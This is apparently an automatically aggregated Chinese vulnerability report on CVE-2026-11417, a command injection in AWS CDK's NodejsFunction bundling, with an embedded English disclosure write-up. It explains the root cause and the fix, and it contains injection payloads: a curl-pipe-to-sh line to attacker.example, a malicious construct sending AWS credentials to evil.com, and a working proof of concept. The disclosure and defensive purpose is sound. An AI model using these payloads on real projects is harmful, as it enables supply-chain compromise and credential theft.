🎯 CVE-2026-11417 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹
CVE-2026-11417 深度技术分析
摘要:CVE-2026-11417 是 AWS Cloud Development Kit(aws-cdk-lib)中 NodejsFunction 本地打包流水线存在的 OS 命令注入漏洞,CVSS 评分为 7.3(高危)。攻击者可利用 externalModules、define、loader、inject 或 esbuildArgs 等打包属性注入 shell 元字符,进而在执行 cdk synth 或 cdk deploy 的开发机、构建服务器或 CI/CD 管道上执行任意命令。该漏洞影响 aws-cdk-lib 2.245.0 之前的所有版本(Windows 平台为 2.246.0 之前),官方已通过 PR #37292 和 PR #37412 修复。
📌 漏洞概述
- CVE 编号:CVE-2026-11417
- CVSS 评分:7.3(High),CVSSv4 评估为 7.0
- 漏洞类型:CWE-78 — OS 命令注入(OS Command Injection)
- 受影响组件:npm 包
aws-cdk-lib中的aws_lambda_nodejs.NodejsFunction构造 - 影响版本:所有 2.245.0 之前的版本;Windows 平台为 2.246.0 之前
- 修复版本:Linux/macOS 升级至 2.245.0 或更高,Windows 升级至 2.246.0 或更高
- 官方公告:GitHub Advisory GHSA-999r-qq7v-r334,AWS 安全公告 AWS-2026-041
该漏洞的核心攻击前提是:威胁者能够控制 CDK 应用中一个或多个受影响打包属性的值(例如通过恶意 npm 依赖、供应链投毒、恶意 Pull Request 或不可信的配置文件)。由于攻击面涉及开发者本机与 CI/CD 环境,实际危害往往被低估——即使攻击者无法直接访问 CDK 代码仓库,也可以诱导开发者安装包含恶意构造的依赖包来触发命令执行。
🔬 漏洞根因分析
NodejsFunction 是 AWS CDK 中用于打包和部署 Node.js Lambda 函数的核心构造。在本地打包(local bundling)流程中,该构造需要调用 esbuild 将 TypeScript/JavaScript 源码及其依赖打包成可直接部署的产物。为了实现可扩展性,CDK 允许用户通过 externalModules、define、loader、inject 和 esbuildArgs 等属性向 esbuild 传递附加参数。
问题在于,NodejsFunction 的旧实现将这些属性值直接拼接到一个由 esbuild 命令行构成的字符串中,然后通过 spawnSync 调用系统 shell 执行:在 Linux/macOS 上使用 bash -c,在 Windows 上使用 cmd /c。由于拼接过程既没有对 shell 元字符(如 ;、&、|、$()、` 等)进行转义,也没有使用参数数组(argument array)方式调用 esbuild,因此攻击者只需在任意一个受影响属性的值中嵌入 shell 命令,即可让其在执行打包命令时被 shell 解释执行。
例如,假设攻击者能够控制 define 属性的某个值,使其包含 "; curl http://attacker.example/payload | sh; ",那么在本地打包时,CDK 构造的 shell 命令会先被 shell 解析,随后注入的命令就会以当前用户的身份运行。这种注入不依赖于 esbuild 本身的漏洞,而是完全由 CDK 的字符串拼接方式引入。
从数据流的角度看:用户配置的 CDK 应用(NodejsFunction 的 props) → 构造 esbuild 打包参数 → 拼接 shell 命令 → spawnSync(bash -c / cmd /c) → 任意命令执行。攻击面不仅仅存在于直接编写 CDK 代码的开发者,更关键的是,当开发者从 npm 安装第三方库时,攻击者可以通过发布的恶意包在库内部构造恶意的 NodejsFunction 属性值,从而在安装该包的开发者执行 cdk synth 时实现供应链攻击。同理,在 CI/CD 流水线中,如果拉取的代码或安装的依赖包含恶意属性值,流水线中的构建容器同样会被攻陷。
GitHub 上公开的 PoC 仓库(HeshamASH/CVE-2026-11417-AWS-CDK-RCE)演示了在 CDK 应用中使用恶意属性值后,执行 cdk synth 即可在宿主机器上弹出计算器或执行任意命令。该 PoC 证实了该漏洞的利用复杂度很低,无需特殊权限,且能够稳定触发 RCE。
值得注意的是,官方在修复时选择将 shell 执行替换为直接调用 spawnSync 并传入参数数组,而不是简单地尝试转义输入。这从根本上消除了 shell 解释环节,是防御 OS 命令注入的标准且有效的方式。补丁 PR #37292 和 PR #37412 分别覆盖了 Linux/macOS 与 Windows 的实现路径。
💥 影响与危害
- 远程代码执行(RCE):攻击者在任何运行
cdk synth或cdk deploy的机器上,可以以当前用户权限执行任意系统命令。受害场景包括:开发者本地工作站、CI/CD 构建节点、自动化部署服务器。 - 供应链攻击:攻击者可以发布一个恶意 npm 包,该包导出带有恶意打包属性的 CDK 构造。任何安装了该包的 AWS CDK 项目在执行打包时都会触发 RCE,从而实现“一次发布,到处中招”的横向扩散效果。
- 敏感数据窃取:注入的命令可以读取环境变量(包括 AWS 凭据、密钥)、SSH 私钥、源代码、CI/CD 令牌等,通过外带通道发送到攻击者服务器。
- 持久化与横向移动:攻击者可在受害主机上安装后门、创建新用户、修改 SSH 配置或植入持久化 payload,从而长期控制开发环境,并进一步渗透到所在内网或 AWS 生产环境。
- 权限提升风险:在 CI/CD 环境中,服务器往往拥有云资源部署权限(如 AWS IAM 角色),攻击者获得该权限后可直接篡改基础设施、窃取数据或破坏业务连续性。
- 影响范围广泛:aws-cdk-lib 被大量企业和开发者使用,且在 CDK 应用中
NodejsFunction属于常用构造,因此该漏洞的潜在暴露面非常大。
虽然该漏洞需要攻击者能控制特定属性值,但在实际软件供应链场景中,这一前提极易被满足——恶意第三方包、被攻陷的依赖、恶意 Pull Request 都是常见且难以拦截的攻击向量。因此 CVSS 7.3 的评级仍合理,且结合生态影响来看,其实际业务风险可能更高。
🛡️ 修复与缓解
官方修复版本
- Linux/macOS:升级至
aws-cdk-lib2.245.0 或更高版本。 - Windows:升级至
aws-cdk-lib2.246.0 或更高版本。
官方在修复中彻底移除了对 shell 的调用,改为通过 spawnSync 直接传递参数数组给 esbuild,使所有用户控制的属性值不再经过 shell 解析。这也意味着,即使攻击者注入 shell 元字符,它们也只会被 esbuild 当作普通参数字符串处理,无法产生命令注入效果。
缓解措施
- 立即升级:首先检查项目使用的
aws-cdk-lib版本,并升级到上述修复版本。由于 CDK 通常作为全局 CLI 或项目依赖使用,升级时需要同时更新package.json中的版本并清空 node_modules 中的旧版本缓存。 - 审计依赖链:对所有 npm 依赖执行
npm audit,并检查第三方 CDK 构造库(constructs)中是否使用了受影响的属性且传入不可信数据。 - 避免使用不可信输入:在 CDK 应用中,避免将不可信数据(如外部 API 返回值、用户输入、远程配置)直接传入
externalModules、define、loader、inject或esbuildArgs。若必须使用,需手动验证其内容是否包含 shell 元字符。 - 最小权限原则:在 CI/CD 流水线中,使用最小权限的 IAM 角色,并限制构建节点对敏感凭据的访问,降低被入侵后的影响。
- 监控与检测:在开发者本机和 CI 环境中监控异常的进程创建行为,特别是
bash -c、cmd /c或 esbuild 参数中出现的可疑字符串。可配置 clamy AV 或 EDR 规则拦截包含常见 shell 元字符的 esbuild 调用。 - 临时规避:如果无法立即升级,可暂时禁用本地打包,改用 Docker 打包(
DockerOptions),或将网络访问受限的 CI 环境作为缓冲。
最关键的缓解动作始终是:尽快升级到修复版本,并同时对现有项目进行供应链审计。由于该漏洞的 PoC 已公开,攻击者已具备利用手段,长期停留在受影响版本会将开发环境暴露在可被直接利用的风险之下。
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。
📋 代码元数据语言md来源HeshamASH/CVE-2026-11417-AWS-CDK-RCE针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明
# Supply Chain Command Injection in AWS CDK's NodejsFunction (CVE-2026-11417)
**Author:** Hesham Ashraf ([@HeshamASH](https://github.com/HeshamASH))
**Date:** June 10,2026
**Severity:** High (CVSSv3.1: 7.3,CVSSv4: 7.0)
**CWE:** CWE-78 — Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
**Affected Package:** `aws-cdk-lib` (npm),
all versions prior to [2.245.0](https://github.com/aws/aws-cdk/releases/tag/v2.245.0)
**Vendor:** Amazon Web Services (AWS)
**Status:** Patched ([PR #37292](https://github.com/aws/aws-cdk/pull/37292),[PR #37412](https://github.com/aws/aws-cdk/pull/37412)) |**CVE:** [CVE-2026-11417](https://www.cve.org/cverecord?id=CVE-2026-11417) |
**Bulletin:** [AWS-2026-041](https://aws.amazon.com/security/security-bulletins/2026-041-aws/) |
**Advisory:** [GHSA-999r-qq7v-r334](https://github.com/aws/aws-cdk/security/advisories/GHSA-999r-qq7v-r334)
---
## TL;DR
I discovered a command injection vulnerability in the AWS Cloud Development Kit (CDK) that allowed an attacker to achieve **Remote Code Execution (RCE) on any machine running `cdk synth`** — including developer workstations and CI/CD pipelines — by publishing a malicious npm package or submitting a crafted Pull Request.
The vulnerability existed because `aws-cdk-lib`'s `NodejsFunction` construct interpolated user-controlled strings directly into a shell command without sanitization,
then executed it via `bash -c` / `cmd /c`. AWS patched the issue by replacing shell-based execution with direct `spawnSync` argument arrays.
---
## Background
The [AWS Cloud Development Kit (CDK)](https://github.com/aws/aws-cdk) is a widely-used open-source framework for defining cloud infrastructure as code. It is used by tens of thousands of developers and CI/CD pipelines to synthesize and deploy AWS CloudFormation stacks.
The [`NodejsFunction`](https://docs.aws.amazon.com/cdk/api/v2/docs/aws-cdk-lib.aws_lambda_nodejs.NodejsFunction.html) construct is one of the most popular CDK L2 constructs. It bundles TypeScript/JavaScript Lambda functions using [esbuild](https://esbuild.github.io/) during the synthesis phase (`cdk synth`).
---
## The Vulnerability
### Root Cause
The `NodejsFunction` construct's local bundling path built a shell command string by directly interpolating several user-controlled properties without any sanitization:
```typescript
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle',`"${relativeEntryPath}"`,`--target=${this.props.target ?? toTarget(scope,this.props.runtime)}`,'--platform=node',...this.externals.map(external =>`--external:${external}`),// NO ESCAPING
...loaders.map(([ext,name]) =>`--loader:${ext}=${name}`),// NO ESCAPING
...defines.map(([key,value]) =>`--define:${key}=${JSON.stringify(value)}`),
// key NOT ESCAPED
...this.props.inject ? this.props.inject.map(i =>`--inject:"${i}"`) : [],// NO ESCAPING
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [],// NO ESCAPING
];```
The array was then joined into a single string and passed to a shell:
```typescript
// The joined command is passed directly to the OS shell
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[osPlatform === 'win32' ? '/c' : '-c',localCommand],{/* ... */ });```
Shell metacharacters like `&`,`;`,`|`,`` ` ``,and `$(...)` within any of the injectable properties would be interpreted by the shell as command separators,enabling arbitrary command execution.
### Affected Properties
|Property |Sanitization |Risk Level ||---|---|---||`externalModules` |**None** |Critical ||
`define` (keys) |**None** (values use `JSON.stringify`) |Critical ||`loader` (keys) |**None** |Critical ||`inject` |**None** |Critical ||`esbuildArgs` (keys/values) |**None** |Critical |---
## Supply Chain Attack Scenario
This vulnerability is particularly dangerous because the injection occurs at the **CDK synthesis layer**,
not during `npm install`. This means standard npm security measures like `--ignore-scripts` provide no protection.
### Attack Vector: Malicious CDK Construct
An attacker publishes a legitimate-looking npm package that wraps `NodejsFunction`:
```typescript
// Published as "convenient-lambda" on npm
import {NodejsFunction }from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {constructor(scope,id,props) {super(scope,id,{...props,bundling: {...props.bundling,externalModules: [
...(props.bundling?.externalModules ?? []),// Hidden payload among legitimate-looking externals
'lodash &curl https://evil.com/exfil?d=$(cat ~/.aws/credentials |base64)',],},});}}
```
When a developer installs this package and runs `cdk synth`,the CDK constructs:
```bash
npx esbuild --bundle handler.ts --external:lodash &curl https://evil.com/exfil?d=$(cat ~/.aws/credentials |
base64)
```
The `&` character splits this into two independent shell commands:
1. `npx esbuild --bundle handler.ts --external:lodash` — esbuild runs normally
2. `curl https://evil.com/...` — **attacker's payload exfiltrates AWS credentials**
### Why This Bypasses Standard Defenses
|Defense |Effective? |Why ||---|---|---||`npm install --ignore-scripts` |No |
Injection happens during `cdk synth`,not package install ||Code review of `package.json` |No |The payload is in TypeScript construct code,not scripts ||npm audit |No |The package contains no known vulnerabilities ||Lockfile integrity |No |The package itself is installed correctly |---
## Proof of Concept
### Step 1: Create a CDK project
```bash
mkdir poc &&
cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () =>({statusCode: 200 });' >lambda/handler.ts
```
### Step 2: Create `app.ts` with injection payload
```typescript
import * as cdk from 'aws-cdk-lib';import {Stack }from 'aws-cdk-lib';import {NodejsFunction }from 'aws-cdk-lib/aws-lambda-nodejs';import {Runtime }
from 'aws-cdk-lib/aws-lambda';import * as path from 'path';class PoCStack extends Stack {constructor(scope,id) {super(scope,id);new NodejsFunction(this,'Fn',{entry: path.join(__dirname,'lambda','handler.ts'),runtime: Runtime.NODEJS_20_X,bundling: {externalModules: ['foo &echo PWNED >pwned.txt'],},});}}const app = new cdk.App();new PoCStack(app,'PoCStack');app.synth();
```
### Step 3: Trigger
```bash
npx ts-node app.ts
```
### Step 4: Verify RCE
```bash
cat pwned.txt
# Output: PWNED
```
The file `pwned.txt` is created,
confirming arbitrary command execution on the host.
---
## The Fix
### PR #37292: Array-based `spawnSync`
The core fix replaces shell command string construction with direct `spawnSync` using argument arrays:
```diff
- // Before: shell-interpreted command string
- exec('bash',['-c',esbuildCommand.join(' ')]);+ // After: direct argument array (no shell interpretation)
+ spawnSync(command,
args,{/* no shell */ });
```
This eliminates shell metacharacter interpretation entirely. The new `BundlingStep` type system cleanly separates:
- **`spawn` steps**: esbuild/tsc/install — executed via direct `spawnSync` with argument arrays
- **`shell` steps**: user-provided `commandHooks` — intentionally shell-executed (user controls these by contract)
- **`fs` steps**: file operations — no shell involvement
### PR #37412: Windows PowerShell Escaping
On Windows with Node 22+,
direct `spawnSync` of `.cmd` shims fails with `EINVAL`. This PR routes spawn steps through `powershell.exe` with `powershellEscape()` — a function that strictly single-quotes each argument using PowerShell's native escaping (doubling internal single quotes),
then prepends the `&` call operator.
---
## Lessons Learned
1. **Shell execution is a code smell.** Any code path that builds a string and passes it to `bash -c` or `cmd /c` is a potential command injection vulnerability. Always prefer array-based `spawnSync` or `execFile`.
2. **Supply chain attacks bypass install-time defenses.** `npm audit` and `--ignore-scripts` protect against malicious `postinstall` scripts,
but they cannot protect against vulnerabilities in the *tools* that process dependencies at build time.
3. **CDK constructs are trusted code.** When a developer imports a third-party CDK construct,
they implicitly trust it to configure their infrastructure correctly. A malicious construct can leverage this trust to inject payloads into bundling properties that look like ordinary configuration.
---
## Recommendations for CDK Users
1. **Update immediately** to `aws-cdk-lib` version [2.245.0](https://github.com/aws/aws-cdk/releases/tag/v2.245.0) or later
2. **Audit third-party CDK constructs** for unusual `bundling` property values
3. **Pin CDK construct versions** in your `package-lock.json`
4. **Review PRs that modify `bundling` configuration** with extra scrutiny
5. **Reproduce the vulnerability** using the files provided in the [poc/](./poc) folder.
---
*Discovered and reported by Hesham Ashraf ([@HeshamASH](https://github.com/HeshamASH)). Coordinated disclosure conducted through the AWS VDP program.*⚔️ EXP 利用代码
截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。
🕵️ 检测指纹
当前规则库未收录针对该 CVE 的专用检测规则。建议:
- 根据漏洞根因编写 Nuclei 检测模板
- 在 WAF/IDS 中配置针对漏洞特征的规则
- 关注漏洞指纹库更新
🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-13 15:07 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库